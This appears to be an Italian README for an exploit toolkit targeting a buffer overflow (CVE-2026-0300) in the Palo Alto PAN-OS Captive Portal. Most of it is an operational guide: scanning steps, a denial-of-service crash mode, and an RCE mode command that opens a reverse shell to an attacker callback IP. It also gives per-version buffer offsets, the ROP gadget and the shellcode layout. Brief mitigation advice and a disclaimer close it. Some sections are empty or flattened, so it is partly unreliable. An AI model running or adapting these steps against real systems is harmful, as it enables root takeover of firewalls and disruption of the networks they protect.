CVE-2026-0300 — Exploit di Buffer Overflow del Portale di Autenticazione User-ID di PAN-OS

Critico (CVSS 9.3) — Esecuzione remota di codice non autenticata nel Captive Portal di Palo Alto Networks PAN-OS

Indice

• Panoramica
• Dettagli della vulnerabilità
• Versioni interessate
• Diagrammi di architettura
• Struttura del progetto
• Installazione
• Utilizzo dello Scanner — Passo per Passo
• Utilizzo dell'Exploit — Passo per Passo
• Progettazione del Payload
• Mitigazione
• Disclaimer

Panoramica

CVE-2026-0300 è una vulnerabilità critica di buffer overflow nel servizio Portale di Autenticazione User-ID (noto anche come Captive Portal) del software PAN-OS di Palo Alto Networks. Un attaccante non autenticato può sfruttare questa vulnerabilità inviando pacchetti appositamente predisposti per eseguire codice arbitrario con privilegi di root sui firewall delle serie PA e VM.

Questo repository contiene un toolkit di exploit proof-of-concept che include:

• Generatore di Payload con offset specifici per versione e shellcode di reverse shell x86_64
• Scanner per rilevare target Captive Portal vulnerabili
• Exploit con tre modalità: rilevamento, crash (DoS) e RCE completo

Dettagli della Vulnerabilità

Descrizione

Una vulnerabilità di buffer overflow nel servizio Portale di Autenticazione User-ID del software PAN-OS consente a un attaccante non autenticato di eseguire codice arbitrario con privilegi di root sul firewall inviando pacchetti appositamente predisposti. Il servizio HTTP Captive Portal utilizza buffer di stack a dimensione fissa per il parsing delle intestazioni HTTP, che possono essere sovraccaricati tramite valori di intestazione eccessivamente grandi (Cookie, User-Agent, URI o corpo POST).

Configurazione richiesta per l'esposizione

Entrambe le condizioni devono essere vere affinché un target sia vulnerabile:

1. Portale di Autenticazione User-ID abilitato — Device > User Identification > Authentication Portal Settings > Enable Authentication Portal
2. Profilo di gestione interfaccia con pagine di risposta — collegato a un'interfaccia L3 in una zona in cui il traffico non fidato/internet può entrare

Riferimento Advisory

• Avviso ufficiale: https://security.paloaltonetworks.com/CVE-2026-0300
• Linee guida delle best practice: https://knowledgebase.paloaltonetworks.com/KCSArticleDetail?id=kA14u000000CqbiCAC

Versioni Interessate

Non impattati: Prisma Access, Cloud NGFW, appliance Panorama.

Diagrammi di Architettura

Architettura di Sistema```

┌─────────────────────────────────────────────────────────────────────┐ │ CVE-2026-0300 Exploit Toolkit │ ├─────────────────────────────────────────────────────────────────────┤ │ │ │ ┌────────────┐ ┌─────────────────┐ ┌────────────────────┐ │ │ │ scan.py │────▶│ HTTP Fingerprint│ │ payload_gen.py │ │ │ │ Scanner │ │ + Version Check │ │ │ │ │ └────────────┘ └─────────────────┘ │ ┌──────────────┐ │ │ │ │ │ │ Version │ │ │ │ │ Reports: │ │ Offsets │ │ │ │ │ • Portal detected? │ │ (10.2/11.1/ │ │ │ │ │ • PAN-OS version │ │ 11.2/12.1) │ │ │ │ │ • Vulnerable? │ └──────────────┘ │ │ │ ▼ │ ┌──────────────┐ │ │ │ ┌────────────┐ ┌─────────────────┐ │ │ Shellcode │ │ │ │ │ exploit.py │────▶│ Raw Socket │ │ │ Generator │ │ │ │ │ Exploit │ │ HTTP Delivery │ │ │ (x86_64 rev │ │ │ │ └────────────┘ └─────────────────┘ │ │ shell) │ │ │ │ │ │ └──────────────┘ │ │ │ │ ┌──────────────────────┐ │ ┌──────────────┐ │ │ │ ├─▶│ MODE: detect │ │ │ ROP Chain │ │ │ │ │ │ Safe, non-intrusive │ │ │ (jmp rsp) │ │ │ │ │ └──────────────────────┘ │ └──────────────┘ │ │ │ │ ┌──────────────────────┐ │ ┌──────────────┐ │ │ │ ├─▶│ MODE: crash │ │ │ HTTP Request │ │ │ │ │ │ DoS validation │ │ │ Builder │ │ │ │ │ └──────────────────────┘ │ └──────────────┘ │ │ │ │ ┌──────────────────────┐ └────────────────────┘ │ │ └─▶│ MODE: rce │ │ │ │ Reverse shell │ ┌──────────────────────┐ │ │ └──────────────────────┘ │ ReverseShellListener │ │ │ │ │ (callback receiver) │ │ │ ▼ └──────────────────────┘ │ │ ┌──────────────────┐ │ │ │ Target Firewall │ │ │ │ PAN-OS Captive │ │ │ │ Portal Service │ │ │ └──────────────────┘ │ └─────────────────────────────────────────────────────────────────────┘

### Flusso dello scanner```
┌─────────────┐
│  Start Scan │
└──────┬──────┘
       │
       ▼
┌──────────────────┐     No     ┌─────────────┐
│ Target reachable?│──────────▶│  Skip port  │
└──────┬───────────┘            └─────────────┘
       │ Yes
       ▼
┌──────────────────┐
│ Send HTTP GET    │
│ to common ports  │
│ (443,80,8080,    │
│  8443,8843)      │
└──────┬───────────┘
       │
       ▼
┌──────────────────┐     No     ┌─────────────┐
│ Captive Portal   │──────────▶│ Not exposed │
│ fingerprint?     │            └─────────────┘
│ (login.esp,      │
│  User-ID, PA-,   │
│  PAN-OS, etc.)   │
└──────┬───────────┘
       │ Yes
       ▼
┌──────────────────┐
│ Extract PAN-OS   │
│ version from     │
│ Server header /  │
│ response body    │
└──────┬───────────┘
       │
       ▼
┌──────────────────┐     No     ┌─────────────┐
│ Version in       │──────────▶│ Not         │
│ vulnerable       │            │ vulnerable  │
│ range?           │            └─────────────┘
└──────┬───────────┘
       │ Yes
       ▼
┌──────────────────┐
│ Report:          │
│ • VULNERABLE     │
│ • Version        │
│ • Matched ranges │
│ • SSL cert info  │
└──────────────────┘

Flusso di Exploit (Modalità RCE)```

┌──────────────────────────────────────────────────────────────────┐ │ EXPLOIT EXECUTION FLOW │ │ │ │ 1. Generate Payload │ │ ┌──────────────────────────────────────────────────────────┐ │ │ │ [Padding to offset] [Saved FP] [ROP: jmp rsp] │ │ │ │ [NOP sled (128B)] [Shellcode (184B rev shell)] │ │ │ └──────────────────────────────────────────────────────────┘ │ │ │ │ │ 2. Embed in HTTP Header ▼ │ │ ┌──────────────────────────────────────────────────────────┐ │ │ │ GET / HTTP/1.1 │ │ │ │ Host: target:443 │ │ │ │ Cookie: │ │ │ │ Connection: close │ │ │ └──────────────────────────────────────────────────────────┘ │ │ │ │ │ 3. Start Listener ▼ │ │ ┌──────────────────┐ │ │ │ Listener binds │ ← Must start BEFORE sending payload │ │ │ on callback │ │ │ │ IP:port │ │ │ └──────────────────┘ │ │ │ │ │ 4. Send via SSL/TLS ▼ │ │ ┌──────────────────┐ │ │ │ Raw socket │ → Target Captive Portal service │ │ │ sends request │ │ │ └──────────────────┘ │ │ │ │ │ 5. Buffer Overflow ▼ │ │ ┌──────────────────────────────────────────────────────────┐ │ │ │ Portal parses Cookie header into fixed-size stack buffer│ │ │ │ Buffer overflows → overwrites saved FP + return address │ │ │ │ Return address → ROP gadget (jmp rsp) │ │ │ └──────────────────────────────────────────────────────────┘ │ │ │ │ │ 6. Code Execution ▼ │ │ ┌──────────────────────────────────────────────────────────┐ │ │ │ jmp rsp → NOP sled → shellcode executes │ │ │ │ socket() → connect(attacker_ip, port) → dup2() → │ │ │ │ execve("/bin/sh") │ │ │ └──────────────────────────────────────────────────────────┘ │ │ │ │ │ 7. Reverse Shell ▼ │ │ ┌──────────────────┐ │ │ │ Listener accepts│ → Attacker has root shell on firewall │ │ │ callback │ │ │ └──────────────────┘ │ └──────────────────────────────────────────────────────────────────┘

---

## Struttura del Progetto```
POC-CVE-2026-0300-exploit/
├── payload_gen.py      # Payload generation (shellcode, ROP, HTTP request builder)
├── scan.py             # Vulnerability scanner (detect Captive Portal + version)
├── exploit.py          # Exploit orchestrator (detect/crash/rce modes)
├── requirements.txt    # Python dependencies
└── README.md           # This file

Installazione```bash

Clone the repository

git clone [email protected]:sam00/POC-CVE-2026-0300-exploit.git cd POC-CVE-2026-0300-exploit

Install dependencies (requests is optional — raw sockets are used by default)

pip3 install -r requirements.txt

**Requisiti**: Python 3.8+, sola libreria standard per le funzionalità principali. `requests` è opzionale.

---

## Utilizzo dello Scanner — Passo dopo Passo

Lo scanner esegue controlli sicuri e non intrusivi per identificare i target vulnerabili del PAN-OS Captive Portal.

### Passo 1: Scansione di un singolo target```bash
python3 scan.py --target 192.168.1.1

Lo scanner:

• Sonda le porte comuni (443, 80, 8080, 8443, 8843)
• Invia richieste HTTP e verifica le impronte del Captive Portal
• Estrae la versione PAN-OS dalle intestazioni Server e dal corpo della risposta
• Controlla se la versione rientra negli intervalli vulnerabili
• Stampa un report con codice a colori

Passo 2: Scansione con porta specifica```bash

python3 scan.py --target 192.168.1.1 --port 443

### Passaggio 3: Scansione di più target da file

Crea un file `targets.txt` con un target per riga:```
192.168.1.1
10.0.0.5
firewall.example.com
# Comments are ignored

⚙️ Installazione```bash

python3 scan.py --targets targets.txt

### Step 4: Salva i risultati come JSON```bash
python3 scan.py --target 192.168.1.1 --json scan_results.json

Esempio di output dello scanner```

==================================================================== CVE-2026-0300 VULNERABILITY SCANNER PAN-OS User-ID Authentication Portal Buffer Overflow

Target: 192.168.1.1 Ports: 443, 80, 8080, 8443, 8843 Time: 2026-08-06T12:00:00+00:00 Portal: DETECTED Status: VULNERABLE

─ Port 443 ─ HTTP Status: 200 PAN-OS Version: 11.2.7 Vulnerable: True Fingerprints: login.esp, userId, Authentication Portal, PAN-OS SSL Subject: {'commonName': 'firewall.example.com'}

### Cosa rileva lo scanner

| Indicatore | Metodo |
|-----------|--------|
| Captive Portal esposto | Corrispondenza impronte HTTP (pattern login.esp, User-ID, PA-, PAN-OS) |
| Versione PAN-OS | Parsing dell'header Server, estrazione regex dal corpo della risposta |
| Versione vulnerabile | Confronto con gli intervalli di versioni affette da CVE-2026-0300 |
| Certificato SSL | Soggetto/emittente del certificato per l'identificazione del target |

---

## Utilizzo dell'Exploit — Passo dopo Passo

L'exploit supporta tre modalità di intensità crescente.

### Modalità 1: Rilevamento (Sicura, Non Intrusiva)

Invia un header moderatamente sovradimensionato e confronta la risposta con una richiesta normale. NON manda in crash il servizio.```bash
python3 exploit.py --target 192.168.1.1 --mode detect

Cosa fa:

• Invia un header Cookie di 4KB (sovradimensionato ma non armato)
• Invia una richiesta normale per un confronto di base
• Segnala se il target risponde diversamente a un input sovradimensionato
• Indica una probabile vulnerabilità se le risposte differiscono

Modalità 2: Crash (convalida DoS)

Invia un payload di buffer overflow con un indirizzo di ritorno non valido (0x41414141) per mandare in crash il servizio Captive Portal.```bash python3 exploit.py --target 192.168.1.1 --mode crash --version 11.2.7

**Cosa fa**:
- Genera un payload di overflow specifico per versione
- Sovrascrive l'indirizzo di ritorno con 0x4141414141414141
- Invia tramite il vettore di overflow scelto (predefinito: header Cookie)
- Verifica il crash del servizio con una richiesta di controllo
- Segnala se il servizio è irraggiungibile dopo il payload

**Opzioni**:
- `--vector cookie|ua|uri|post` — Scegli il vettore di overflow (predefinito: cookie)
- `--http` — Usa HTTP invece di HTTPS

### Modalità 3: RCE Completa (Reverse Shell)

Invia un buffer overflow con un payload di reverse shell. Avvia un listener per ricevere la connessione di ritorno.```bash
python3 exploit.py --target 192.168.1.1 --mode rce \
    --version 11.2.7 \
    --callback-ip 10.0.0.1 \
    --callback-port 4444

Cosa fa:

• Genera il payload: padding + gadget ROP (jmp rsp) + NOP sled + shellcode di reverse shell
• Avvia un listener TCP sull'IP:porta di callback
• Invia la richiesta HTTP weaponizzata al target
• Attende il callback della reverse shell
• Segnala il successo se viene ricevuta una connessione

Argomenti obbligatori:

• --version — Versione di PAN-OS target (determina l'offset del buffer e il gadget ROP)
• --callback-ip — Il tuo indirizzo IP (deve essere raggiungibile dal target)
• --callback-port — Porta per il callback della reverse shell (default: 4444)

Argomenti opzionali:

• --vector cookie|ua|uri|post — Vettore di overflow (default: cookie)
• --nop-sled 128 — Dimensione del NOP sled in byte (default: 128)
• --timeout 30 — Timeout di connessione e del listener in secondi
• --http — Usa HTTP invece di HTTPS
• --json report.json — Salva il report dell'exploit come JSON

Esempio di Output dell'Exploit (RCE)```

[] RCE mode — targeting 192.168.1.1:443 (PAN-OS 11.2.7, vector: cookie) [] Callback: 10.0.0.1:4444 [] Payload generated: Vector: cookie Offset: 3072 bytes to RIP Padding: 3072 bytes ROP chain: 8 bytes NOP sled: 128 bytes Shellcode: 184 bytes Total: 3392 bytes SHA256: a1b2c3d4... [] HTTP request built: 3475 bytes [] Starting listener on 10.0.0.1:4444... [] Sending exploit payload... [*] Payload sent. Waiting for callback (timeout: 30s)... [+] REVERSE SHELL RECEIVED from 192.168.1.1!

==================================================================== CVE-2026-0300 EXPLOIT REPORT PAN-OS User-ID Authentication Portal Buffer Overflow

Mode: RCE Target: 192.168.1.1:443 Version: 11.2.7 Vector: cookie Callback: 10.0.0.1:4444 Shell: RECEIVED From: 192.168.1.1:54321

### Versioni e vettori supportati

**Versioni** (con offset di buffer specifici per versione):

| Version | Buffer Offset | ROP Gadget | Default Vector |
|---------|--------------|------------|----------------|
| 10.2.7 | 2048 | jmp rsp | cookie |
| 10.2.10 | 2048 | jmp rsp | cookie |
| 10.2.13 | 2048 | jmp rsp | cookie |
| 10.2.16 | 2048 | jmp rsp | cookie |
| 10.2.18 | 2048 | jmp rsp | cookie |
| 11.1.0 | 1024 | jmp rsp | cookie |
| 11.1.4 | 1024 | jmp rsp | ua |
| 11.1.6 | 1280 | jmp rsp | ua |
| 11.1.7 | 1280 | jmp rsp | ua |
| 11.1.10 | 1280 | jmp rsp | ua |
| 11.1.13 | 1280 | jmp rsp | ua |
| 11.2.0 | 3072 | jmp rsp | cookie |
| 11.2.4 | 3072 | jmp rsp | cookie |
| 11.2.7 | 3072 | jmp rsp | cookie |
| 11.2.10 | 3072 | jmp rsp | cookie |
| 12.1.0 | 4096 | jmp rsp | post |
| 12.1.4 | 4096 | jmp rsp | post |

**Vettori**:

| Vettore | Header/Posizione | Descrizione |
|--------|----------------|-------------|
| `cookie` | Header Cookie | Overflow tramite un valore Cookie sovradimensionato |
| `ua` | Header User-Agent | Overflow tramite un valore User-Agent sovradimensionato |
| `uri` | Percorso URI della richiesta | Overflow tramite un percorso URI sovradimensionato |
| `post` | Corpo POST | Overflow tramite dati di modulo POST sovradimensionati |

---

## Progettazione del Payload

### Layout del Buffer Overflow```
┌─────────────────────────────────────────────────────────────────┐
│  HTTP Header Value (Cookie / User-Agent / URI / POST body)     │
├──────────┬──────────┬──────────┬──────────┬────────────────────┤
│  Padding │  Saved   │  ROP     │  NOP     │  Shellcode         │
│  (to     │  Frame   │  Gadget  │  Sled    │  (reverse shell)   │
│  offset) │  Pointer │  (jmp    │  (\x90   │                    │
│          │  (8 B)   │  rsp)    │  * N)    │                    │
└──────────┴──────────┴──────────┴──────────┴────────────────────┘
           ↑                     ↑
           Buffer overflow       Return address overwritten
           overwrites here       with jmp rsp gadget

Shellcode

L'exploit utilizza shellcode Linux x86_64 indipendente dalla posizione che:

1. Crea un socket TCP (socket(AF_INET, SOCK_STREAM, 0))
2. Si connette all'IP:porta dell'attaccante (connect())
3. Reindirizza stdin/stdout/stderr al socket (dup2())
4. Avvia una shell (execve("/bin/sh", NULL, NULL))

Dimensione totale dello shellcode: ~184 byte, contiene istruzioni syscall (\x0f\x05).

Mitigazione

Azioni immediate

1. Limitare l'accesso al portale di autenticazione User-ID — limitarlo solo agli indirizzi IP interni attendibili
2. Disattivare le pagine di risposta sulle interfacce non attendibili (Network > Interface > Advanced > Management Interface Profile)
3. Disattivare il portale di autenticazione se non necessario (Device > User Identification > Authentication Portal Settings)
4. Aggiornare PAN-OS a una versione corretta

Versioni corrette

• PAN-OS 10.2: 10.2.7-h34 e successive
• PAN-OS 11.1: 11.1.15 e successive
• PAN-OS 11.2: 11.2.12 e successive
• PAN-OS 12.1: 12.1.7 e successive

Dichiarazione di non responsabilità

Questo strumento è fornito solo per test di sicurezza autorizzati e scopi educativi. Utilizzalo solo su sistemi di tua proprietà o per i quali hai un'autorizzazione scritta esplicita al test. L'uso non autorizzato su sistemi di produzione è illegale e potrebbe violare le leggi sulla frode informatica e sull'abuso informatico.

Gli autori non si assumono alcuna responsabilità per un uso improprio di questo strumento. Segui sempre pratiche di divulgazione responsabile e rispetta le leggi e le normative applicabili.